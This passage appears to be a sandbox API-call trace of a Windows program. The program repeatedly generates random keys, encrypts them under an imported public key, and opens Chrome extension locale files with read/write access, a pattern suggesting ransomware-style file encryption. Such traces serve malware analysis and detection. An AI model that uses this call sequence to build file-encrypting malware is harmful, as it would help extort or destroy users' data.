phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3f78) returned 1 [0239.191] CryptGetKeyParam (in: hKey=0x66b3f78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.191] CryptEncrypt (in: hKey=0x66b3f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9fa0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9fa0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.192] GetLastError () returned 0x0 [0239.192] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.192] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.193] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3cb8) returned 1 [0239.193] CryptGetKeyParam (in: hKey=0x66b3cb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.193] CryptEncrypt (in: hKey=0x66b3cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9fb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9fb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.194] GetLastError () returned 0x0 [0239.194] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.194] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.195] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.197] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.199] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.199] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.199] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.199] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.201] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.202] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.202] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.202] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.203] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.205] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3cf8) returned 1 [0239.205] CryptGetKeyParam (in: hKey=0x66b3cf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.205] CryptEncrypt (in: hKey=0x66b3cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9fc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9fc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.205] GetLastError () returned 0x0 [0239.205] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.205] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.207] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3978) returned 1 [0239.207] CryptGetKeyParam (in: hKey=0x66b3978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.207] CryptEncrypt (in: hKey=0x66b3978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9fd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9fd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.207] GetLastError () returned 0x0 [0239.207] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.207] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.208] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.212] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.212] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.212] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.214] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.216] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.216] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.216] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.216] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.218] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3d78) returned 1 [0239.218] CryptGetKeyParam (in: hKey=0x66b3d78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.218] CryptEncrypt (in: hKey=0x66b3d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9fe0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9fe0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.218] GetLastError () returned 0x0 [0239.218] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.218] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.220] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3f38) returned 1 [0239.220] CryptGetKeyParam (in: hKey=0x66b3f38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.220] CryptEncrypt (in: hKey=0x66b3f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ff0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9ff0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.220] GetLastError () returned 0x0 [0239.220] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.220] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.221] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.224] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.226] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.226] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.226] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.226] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.229] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.229] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.229] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.230] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.232] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3db8) returned 1 [0239.232] CryptGetKeyParam (in: hKey=0x66b3db8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.232] CryptEncrypt (in: hKey=0x66b3db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa000000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa000000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.232] GetLastError () returned 0x0 [0239.232] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.232] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.234] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3df8) returned 1 [0239.234] CryptGetKeyParam (in: hKey=0x66b3df8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.234] CryptEncrypt (in: hKey=0x66b3df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa010000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa010000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.234] GetLastError () returned 0x0 [0239.234] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.234] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.235] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.237] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.238] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.238] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.239] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.240] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.242] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.243] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.243] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.243] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.245] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3e38) returned 1 [0239.245] CryptGetKeyParam (in: hKey=0x66b3e38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.245] CryptEncrypt (in: hKey=0x66b3e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa020000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa020000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.245] GetLastError () returned 0x0 [0239.245] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.245] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.247] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3e78) returned 1 [0239.247] CryptGetKeyParam (in: hKey=0x66b3e78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.247] CryptEncrypt (in: hKey=0x66b3e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa030000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa030000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.247] GetLastError () returned 0x0 [0239.247] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.247] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.248] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.252] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.252] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.252] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.254] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.255] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.255] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.255] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.256] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.258] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3fb8) returned 1 [0239.258] CryptGetKeyParam (in: hKey=0x66b3fb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.258] CryptEncrypt (in: hKey=0x66b3fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa040000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa040000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.258] GetLastError () returned 0x0 [0239.258] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.258] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.260] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3eb8) returned 1 [0239.260] CryptGetKeyParam (in: hKey=0x66b3eb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.260] CryptEncrypt (in: hKey=0x66b3eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa050000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa050000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.260] GetLastError () returned 0x0 [0239.260] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.260] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.261] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.265] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.265] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.265] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.265] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.267] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.269] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.269] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.269] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.269] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.271] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac138) returned 1 [0239.271] CryptGetKeyParam (in: hKey=0x66ac138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.271] CryptEncrypt (in: hKey=0x66ac138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa060000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa060000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.271] GetLastError () returned 0x0 [0239.271] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.271] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.285] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac0b8) returned 1 [0239.285] CryptGetKeyParam (in: hKey=0x66ac0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.285] CryptEncrypt (in: hKey=0x66ac0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa070000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa070000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.286] GetLastError () returned 0x0 [0239.286] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.286] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.287] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.289] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.291] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.291] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.291] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.291] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.293] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.295] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.295] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.295] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.295] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.297] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac838) returned 1 [0239.297] CryptGetKeyParam (in: hKey=0x66ac838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.297] CryptEncrypt (in: hKey=0x66ac838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa080000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa080000*, 